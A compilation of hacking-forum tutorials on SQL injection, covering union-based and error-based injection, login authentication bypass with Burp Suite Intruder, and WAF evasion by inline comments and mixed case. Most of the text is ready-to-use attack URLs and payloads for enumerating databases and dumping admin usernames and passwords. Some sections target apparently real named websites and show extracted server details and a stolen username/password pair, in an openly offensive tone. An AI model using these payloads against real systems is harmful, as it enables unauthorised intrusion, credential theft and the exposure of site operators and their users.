MSSQL asp SQL INJECTION

Ok guys i'm gonna give u a tut on Sql injection this is written by me!

The sql injection on asp is same as on php...but a little bit of changes are made...

So first of all we will find some site that is Vulnerable and is on .asp

So assume that u got a site with the name of

Code:

http://www.target.com/

now find page where the site is vul to sql injection...

You can check the Vulnerability by adding single quotation '
at the end of URL like

Code:

http://www.target.com/product.asp?id=13'

If u get this error...

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'department_id=1024''.

/deptdet.asp, line 122

Then this means the site is vul to sql injections...Now we are going to find the columns in it...Normally we use -- at the end of string but in this case we will be using #

Code:

http://www.target.com/product.asp?id=13 order by 1#

Suppose that the site has 10 columns...when you will use the query "order by 1#" (without double quotations)
You will not get any error...the page will load normally...but when you will use the query "order by 11#" (without double quotations) you will get an error this means that the site has 10 columns...

So we will have an error on this query

Code:

http://www.target.com/product.asp?id=13 order by 11#

But when we will use this query, we will not get any error.

Code:

http://www.target.com/product.asp?id=13 order by 10#

This tells us that the table has 10 columns.

Now we will write the query as...

Code:

http://www.target.com/product.asp?id=13 union select 1,2,3,4,5,6,7,8,9,10#

So now in next step we need name of a table to get number of largets visible column from all .. let me explain bit , like in simple sql injection we use union select 1,2,3,4,5,6 -- and we get a number to get information from site , in this we need a table name to get that number of visible column ,

so to get that number we are going to add name of table after union select 1,2,3,4,5,6,7, ..,10

in this scripts of getting table names dont work most times i tried some of them so we will add name of tables manually normally name of tables are " admin,tbladmin,tbl_admin,user,users,login,info,email" etc . Suppose in the site we got admin table that is visible. Now our url will look like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,3,4,5,6,7,8,9,10 from admin#

After this we will get number of largest visible column which we can use to get data from site. Suppose we got 3,7and 6 columns that are visible...

So now we are going to use 3 to get information now all we have to do is just put the name of column instead of 3 in string and we will get username and password ,

Now our URL will look like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,name,4,5,6,7,8,9,10 from admin#

Suppose we got a username instead of the number 3.

and then change column name with passwords column name
you will get the password ;)
URL will be like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,passwords,4,5,6,7,8,9,10 from admin#

Hopes i will helped you , in this type of injection we don't get much working scripts to get tables etc if i get working ones i will update this tut soon ...  enjoy !!

BURP SUITE SQL AUTHENTICATION BYPASS

Today I am going to extend my previous tutorial where I introduced you to Burp Suite tools so that we can now audit login forms for SQL Authentication Bypass vulnerabilities. This is a common problem found daily in the wild where PHP & MySQL are being used as the Authorization mechanism based on dynamic SQL Query's which are completed from user input supplied through login form. This can be time consuming and repetitive to conduct manually but it is relatively easy to audit - and after reading this it will be even easier, especially with Burp! I will first provide an explanation of the problem and what is going on which allows the vulnerability to be exploited followed by an example, so here goes…

As mentioned above Authentication Bypass vulnerabilities often occurs due to a lack of filtering of user supplied input. If we review a quick example of code from a PHP/MySQL authentication page we will begin to see things more clearly. You can find some test samples with quick Google dork “file:php/asp inurl:admin/login”, but here is sample login to keep it easy:

Code:

<?php
$sql = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $POST_['password'] . "'";
response = mysql_query($sql);
?>

This code fails to filter or check the user supplied input. The target system reads like so as result:

Code:

SELECT * FROM users WHERE user='' AND password=''

Since this is not filtered or checked we will pick a username and use SQL Injection on the secondary field. Let us assume we choose the username “webadmin” and the SQL Injection: ' OR 'x' = 'x

This is now how the query looks that will get passed through:

Code:

SELECT * FROM users WHERE user='webadmin' AND password='' OR 'x' = 'x'

This is how the target system actually reads & parses the request:

Code:

SELECT * FROM users WHERE user='webadmin' AND TRUE

The ultimate goal here is to use our SQL injection to alter the SQL query so that it is fooled into letting us in. This works as you can see above as ‘x’ is always going to be equal to ‘x’ so it will always return as TRUE, and thus the system will grant us webadmin user access to walk right in through the front door without any real password.

Now we could use alternative injections above, like:

• ' or '1'='1
• ' or 'x'='x
• ') or ('x'='x
• ') or ('1'='1
• …etc

Some customization may be needed to fit your specific need (Sometimes injections need to be placed in both fields; sometimes it needs more complex syntax, HEX or Char encoding may be needed, etc). You could easily build your own list, but I have gone ahead and put together a decent list to help get you started. The list can be found in the "AuthBypass/auth-bypass.txt" file which is included in my full download here: HR’s Burp Starter Pack .

Now with Burp Suite:
Now rather than try each potential SQL statement or injection we place all of our potential injections into a single file and then let Burp run the requests in an automated fashion. This will help to save you time, as well as allow easier parsing of the results in a systematic way. In order to do this we simply submit a bogus request with arbitrary data submitted (user: foo, pass: bar). 







We then load up the request and send it to the Intruder tool to build our attack. We clear the default injection points and specifically set them around our password field or both user and password fields. You will choose the Sniper or Battering Ram attacks for this method, depending on how you want to test the form. You will then need to set the payload to run your auth-bypass.txt file. You can add some additional inspection items to the grep field if you want. I find it is often helpful to add some basic text you might see upon failed or successful login attempts (welcome, success, failed, wrong, etc).


Once you run the Intruder tool it is time to sit back and interpret the results. You will need to check time, length, grep, etc and manually review any of the requests that appear to show a noticeable variance in responses.


Once you find one, re-test it manually in the browser to see if it works.


If it works you are in, if not keep analyzing and inspecting further. 


Rinse, wash, and repeat as necessary

WAF BYPASSING TECHNIQUES

I assume you know how to perform a union based SQL injection, if not check out my tutorial here:



Ok lets get started.

You have found your SQLi vulnerable site, you found how many columns it has (in this case 62 xD)

You do the regular command:

Code:

http://www.****.org/members/member.php?id=-182 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30​,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,5​7,58,59,60,61,62--

The website returns this error message:



What you would like to do now is you use inline comments to comment out the blocked commands, like this:

Code:

http://www.****.org/members/member.php?id=-182 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30​,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,5​7,58,59,60,61,62--

And now the website returns this:



Ok now we will try to add version(),database() and user() in one line like this:

Code:

http://www.****.org/members/member.php?id=-182 /*!UNION*/ /*!SELECT*/ 1,2,3,concat('join7+was+here',0x3a,version(),0x3a,user(),0x3a,database(),0x3a),5​,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33​,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,6​0,61,62--

The website returns this:



We would now like to make "concat" both upper and lower case letters, like this:

Code:

http://www.****.org/members/member.php?id=-182 /*!UNION*/ /*!SELECT*/ 1,2,3,CoNcAt('join7+was+here',0x3a,version(),0x3a,user(),0x3a,database(),0x3a),5​,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33​,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,6​0,61,62--

The website returns;



Now for the good part; lets try to find all the databases, here is the regular syntax: 

Code:

http://www.****.org/members/member.php?id=-182 UNION SELECT 1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22​,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,4​9,50,51,52,53,54,55,56,57,58,59,60,61,62 from information_schema.schemata--

But with our new techniques the syntax would look like this:

Code:

http://www.****.org/members/member.php?id=-182 /*!UNION*/ /*!SELECT*/ 1,2,3,GrOuP_CoNcAt(schema_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22​,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,4​9,50,51,52,53,54,55,56,57,58,59,60,61,62 from information_schema.schemata--

The website returns:



now we would like to get the tables:

Code:

http://www.****.org/members/member.php?id=-182 /*!UNION*/ /*!SELECT*/ 1,2,3,Group_Concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,​23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49​,50,51,52,53,54,55,56,57,58,59,60,61,62 from information_schema.tables where table_schema=database()--

The website returns:



Now you have to in some way comment out information_schema or tables, like this:

Code:

http://www.****.org/members/member.php?id=-182 /*!UNION*/ /*!SELECT*/ 1,2,3,Group_Concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,​23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49​,50,51,52,53,54,55,56,57,58,59,60,61,62 from /*!information_schema*/.tables where table_schema=database()--

and this returns:



it's the same to get columns, you know the drill.

If you now want to dump columns id from admin table you do like this:

Code:

http://www.****.org/members/member.php?id=-182 /*!UNION*/ /*!SELECT*/ 1,2,3,Group_Concat(id),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25​,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,5​2,53,54,55,56,57,58,59,60,61,62 from admin--

Hope you learned something from my tutorial, feel free to ask if you have any questions.

REMEMBER; This is only BASIC WAF bypass, the techniques are endless

BASIC SQL INJECTION WITH WAF BYPASSING

Basic sql injection.

+ string injection (forcing an error)

For educational purposes only.


What do we need?

1. This tutorial.
2. Notepad. Because, using a pen and paper would take to long.
3. A vulnerable site.

Lets start.

1. Check the site, if it is vulnerable.

Enter ' behind the link

Code:

http://www.[site].com/page.php?id=1

Code:

http://www.[site].com/page.php?id=1'

If something like this pops up? Then it is vulnerable:

Code:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5''' at line 1

2. Next up, we do the oder by statement. This wil show us how many columns we have.

http://www.[site].com/page.php?id=1+order+by+1--+- [no error]
http://www.[site].com/page.php?id=1+order+by+99--+- [!!error!!]
http://www.[site].com/page.php?id=1+order+by+2--+- [no error]
http://www.[site].com/page.php?id=1+order+by+3--+- [no error]
http://www.[site].com/page.php?id=1+order+by+4--+- [error]

Why do i do order by 99?
To check if we don't have to use a string injection.
If you do not get an error when u use order+by+99--+-
Then we wil need to force an error.

Code:

http://www.[site].com/page.php?id=1+order+by+1--+- [no error]
http://www.[site].com/page.php?id=1+order+by+99--+- [no error]
http://www.[site].com/page.php?id=1+order+by+2--+- [no error]
http://www.[site].com/page.php?id=1+order+by+3--+- [no error]
http://www.[site].com/page.php?id=1+order+by+4--+- [no error]

As folowing:
Always place a ' behind the id number.

Code:

http://www.[site].com/page.php?id=1'+order+by+1--+- [no error]
http://www.[site].com/page.php?id=1'+order+by+99--+- [!!error!!]
http://www.[site].com/page.php?id=1'+order+by+2--+- [no error]
http://www.[site].com/page.php?id=1'+order+by+3--+- [no error]
http://www.[site].com/page.php?id=1'+order+by+4--+- [error]

Now we had this part. Lets move on to the union statement.
We know we have 3 columns now.

[attention]If, you force an error! Never forget to use the ' behind the id number.[attention]

3. Union Select.

Code:

http://www.[site].com/page.php?id=1+union+select+1,2,3--+-

Now there wil popup some numbers in the content of the site.
Lets say, i see a big 2 in the middle of my site.

That means we have a vulnerable column.
We wil check version now.

Code:

http://www.[site].com/page.php?id=1+union+select+1,version(),3--+-

If that dous not work do this:

Code:

http://www.[site].com/page.php?id=1+union+select+1,@@version,3--+-

You wil see the mysql version now.
We always want it to be 5.x.x or more!
Not lower then 5 if it is give up.

Lets say mine is: 5.0.92 - community
That means im readdy to roll.

4. Select database name:

Code:

http://www.[site].com/page.php?id=1+union+select+1,group_concat(database()),3--+-

Or simply do:

Code:

http://www.[site].com/page.php?id=1+union+select+1,database(),3--+-

If you want to find all the database's? is some cases a site has more then 1!
do this:

Code:

http://www.[site].com/page.php?id=1+union+select+1,group_concat(schema_name),3+from+information_schema​.schemata--+-

Lets say my database is caled "db_1" no quotes.
This line asks the database which name it has.
The group_concat is a line we use to select annything we need.

5. Select table names:

Code:

http://www.[site].com/page.php?id=1+union+select+1,group_concat(table_name),3+from+information_schema.​tables+where+table_schema=database()--+-

\The group_concat statementh has a max length of 1024 characters.
If we want to find all tables you could do this manually using concat() and a limit.

Code:

http://www.[site].com/page.php?id=1+union+select+1,group_concat(table_name),3+from+information_schema.​tables+where+table_schema=database()+limit+0,1--+-

keep increasing that limit untill you have all tables.

Now you should have a list whit alot of names in there.
we select what we need.

Lets check for:
User"s", admin"s"
administrator"s", member"s"
tbladmin"s",tblmember"s"
tbluser"s",tbladministrator"s"
tbl_admins, ..

Lets say i have a administrator table.

6. Select column names:

Code:

http://www.[site].com/page.php?id=1+union+select+1,group_concat(column_name),3+from+information_schema​.columns+where+table_name="administrator"--+-

You couild use the limit here to. "limit+0,1--"
if you do not see all columns.

If you get an error "DO NOT BE SCARED" it is not lost.
Its a hex: http://www.swingnote.com/tools/texttohex.php
Place the table name my case: administrator where it says:
Say hello to my little friend!

Translate: 61646d696e6973747261746f72 (administrator)
this is my hex.

How to ad it to a link. Wel, where u now have ble_name="administrator"--+-
At the end of your link. We need to change to this. ble_name=0x--+-

And place the hex behind the 0x.

Code:

http://www.[site].com/page.php?id=1+union+select+1,group_concat(column_name),3+from+information_schema​.columns+where+table_name=0x61646d696e6973747261746f72--+-

Now you should see alot of names again. Look for username and password or email/password or name/pass whatever relates.
Mines are user and pass.
How do we select these. Not that hard at all.

We use the group_concat(user,0x3a,pass) 0x3a is nessesairy it means colon.
At the end: +from+db_1.administrator
The db_1 is the database we searched at start.
And, you do not need to use a hex now!

As following:

Code:

http://www.[site].com/page.php?id=1+union+select+1,group_concat(user,0x3a,pass),3+from+db_1.administra​tor--+-

If annything went good? You should now have the admin name and password.

7. WAF bypassing. (basics)

When you have an error using the union select statement.
It is most likely because the admins made an attempt to secure against sqli.

Those admins fail...

So we have to make sure we can actually use the union statement.
to get what we need. a basic example: /*!union*/+/*!select*/
the /*! */ is bypassing the WAF because they only ignored union+select.

Code:

http://www.[site].com/page.php?id=1+/*!union*/+/*!select*/+1,2,3--+-

If all good we should get the vulnerable numbers now.
There are many ways to bypass WAF.
example: un>ion+sel>ect
or: UnIoN+SeLeCt

Now we bypassed it? we still need information from the columns.

Code:

http://www.[site].com/page.php?id=1+/*!union*/+/*!select*/+1,CoNcAt(version()),3--+-

This should get you the version.
Same for database.
Now we need tables.

Code:

http://www.[site].com/page.php?id=1+/*!union*/+/*!select*/+1,GrOuP_CoNcAt(/*!table_name*/),3+FrOm+/*!information_schema*/.TaBlEs+WhErE+/*!table_schema*/=database()--+-

I suggest you take some tutorials on waf bypassing. i have shown some little basics.


I wil not be teaching you how to decrypt those passwords.

Do not copy & paste. Type anything you see in the url.
You will learn alot faster! And, your mind will be 100% focused on the SQLi.

ORDER BY DOES NOT WORK ?

Lets get it on.

I have no knowledge in SQL Injection, is this tutorial usefull?
No, I suggest you read up some tutorials on Union based SQL Injection before attempting this technique.

When should I read/use this tutorial?

You should use this tutorial when you are stuck at the 'order by' command that is giving you NO error.

Problem: You have a site which gives your a SQL Error but when performing "order by" You don't get any errors.

Then you are probably going to have to use 'string based Injection'.

Here is how this works.

1.
We try this site:

Code:

http://www.target.co.uk/products.php?id=6'

Which gives us the Error:

Code:

There was an error, please try again later. Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''6'' ORDER BY orderID LIMIT 0, 3' at line 1

2.

Now we know it's vulnerable and moving over the the 'order by' command.

Code:

http://www.target.co.uk/products.php?id=6 order by 1--

This gives us a normal page

3.
We now try a large number with the 'order by', like this:

Code:

http://www.target.co.uk/products.php?id=6 order by 1000--

Hmm, still no error.

4.
We will now make some changes in the syntax.
We will put a ' after 6 and a +- after the hyphens (--).

Our syntax would now look like this:

Code:

http://www.target.co.uk/products.php?id=6' order by 1--+

This code gives ur no error, which is good.

5.
Now we try the same syntax, but with larger number:

Code:

http://www.target.co.uk/products.php?id=6' order by 1000--+

Finaly, this gives us this error:

Code:

There was an error, please try again later. Error: Unknown column '1000' in 'order clause'

6.
Now, we would like to find the column count, just like in union based, we try something like:

Code:

http://www.target.co.uk/products.php?id=6' order by 13--+

No error, which means the column count is higher than 13 (you know the deal).


7.
Now we try:

Code:

http://www.target.co.uk/products.php?id=6' order by 14--+

Which gives ur error:

Code:

There was an error, please try again later. Error: Unknown column '14' in 'order clause'


8.
Now the injection works just like in 'union based'.

Code:

http://www.target.co.uk/products.php?id=-6' union select 1,2,3,4,5,6,7,8,9,10,11,12,13--+

The output is:

Code:

There was an error, please try again later.
2
6
Read More...

4

Page 1     1 |



9.
Now, you hack it.

Code:

http://www.matrixinnovations.co.uk/products.php?id=-6' union select 1,concat(version(),0x3a,database(),0x3a,user(),0x3a,@@datadir),3,4,5,6,7,8,9,10,​11,12,13--+

Output:

Code:

There was an error, please try again later.
5.1.56-community-log:web183-newmatrix:web183-newmatrix@79.170.40.183:/var/lib/mysql/
6
Read More...

I hope you liked my tutorial, if you have any questions feel free to post.

Happy hacking.

ERROR BASED INJECTION( FOR VERSION LESS THAN 5)

First off, this tutorial will be for sites that don't have information_schema, or versions less then 5.
Most people don't know you can still use error based for sites that don't have information_schema. Well, today I'm going to be showing you how to pull data.



Getting The Version
First off, let's find our site and check the version. I'll be using this site as an example.

Code:

http://ultimatehomedesign.com/news-detail.php?id=309

Now let's check our version, by using error based.

Code:

+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1--

So my link looks like this.

Code:

http://ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+havin​g+min(0)+or+1--

As you can see, it returns the version which is less than 5 (took me forever to find the perfect site).

Guessing the Table Names

Now we want to start guessing our table names....here's a list of common ones.

Code:

admin
admins
tbl_admin
tbladmin
member
members
tbl_members
tblmembers
user
users
tbl_users
tblusers
wp_users

So basically when we guess our table names, your syntax should look like this.

Code:

+or+1+group+by+concat_ws(0x7e,(select+1+from+TABLEGUESS+limit+0,1),floor(rand(0)​*2))+having+min(0)+or+1--

Replace TABLEGUESS with your guess, of course.

So I'm going to guess the users table, but first I want to check and use a fake name so I can get my error.

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+1+from+TEST+limit+0,1),fl​oor(rand(0)*2))+having+min(0)+or+1--

I get my error that says, DATABASE.test doesn't exist, so there's no test table.

Now let's try the users table. If it exists, it should come back with a duplicate entry of 1.

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+1+from+users+limit+0,1),f​loor(rand(0)*2))+having+min(0)+or+1--

Code:

Duplicate entry '1~1' for key 1

Guessing The Column Names

Now we need to guess our column name, so let's guess test again.

Our syntax would look something like this.

Code:

+or+1+group+by+concat_ws(0x7e,(select+COLUMNGUESS+from+TABLENAME+limit+0,1),floo​r(rand(0)*2))+having+min(0)+or+1--

So let's guess the test column, from the users table.

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+test+from+users+limit+0,1​),floor(rand(0)*2))+having+min(0)+or+1--

Code:

Unknown column 'test' in 'field list'

Let's guess username, from the users table.

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+user_name+from+users+limi​t+0,1),floor(rand(0)*2))+having+min(0)+or+1--

The site didn't come back with an error, it loaded fine so that column exists.
Now let's guess the password column...

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+user_pass+from+users+limi​t+0,1),floor(rand(0)*2))+having+min(0)+or+1--

Once again, the site loaded fine...so those are our two columns. Now let's try and concatenate them, and get our duplicate entry for the data in them.

Getting Data Out Of Columns

Now that we got our column names, we want to get the data out of them.

The code looks like this.

Code:

+or+1+group+by+concat_ws(0x7e,(select+concat(column1,0x7e,column2)+from+TABLENAM​E+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1--

So my link looks like this..

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+concat(user_name,0x7e,use​r_pass)+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1--

The site loaded fine, which sucks. We wanted a duplicate entry error, with our data. But now that we have the info we needed, we can go for plan B and get it with some advanced double query.

The code looks like this.

Code:

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(co​lumn1,0x7e,column2)+as+char),0x7e))+from+TABLENAME+limit+0,1),floor(rand(0)*2))x​+from+TABLENAME+group+by+x)a)

So let's try it out..

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+and+(select+1+from+(select+count(*),concat((select(select+conc​at(cast(concat(user_name,0x7e,user_pass)+as+char),0x7e))+from+users+limit+0,1),f​loor(rand(0)*2))x+from+users+group+by+x)a)

We got our error, so there is no test column in the users table..



Woot, we get an error. Subquery returns more then 1 row, so now we need to use substring and get them 1 by 1.

Code:

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(su​bstring(column1,STARTLENGTH,ENDLENTH))+as+char),0x7e))+from+TABLENAME+limit+0,1)​,floor(rand(0)*2))x+from+TABLENAME+group+by+x)a)

So my link looks like this..

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+and+(select+1+from+(select+count(*),concat((select(select+conc​at(cast(concat(substring(user_name,1,25))+as+char),0x7e))+from+users+limit+0,1),​floor(rand(0)*2))x+from+users+group+by+x)a)

Code:

Duplicate entry 'root~1' for key 1

Now that we got the username, let's get the password.

Code:

http://www.ultimatehomedesign.com/news-detail.php?id=309+and+(select+1+from+(select+count(*),concat((select(select+conc​at(cast(concat(substring(user_pass,1,25))+as+char),0x7e))+from+users+limit+0,1),​floor(rand(0)*2))x+from+users+group+by+x)a)

Code:

Duplicate entry 'trump123~1' for key 1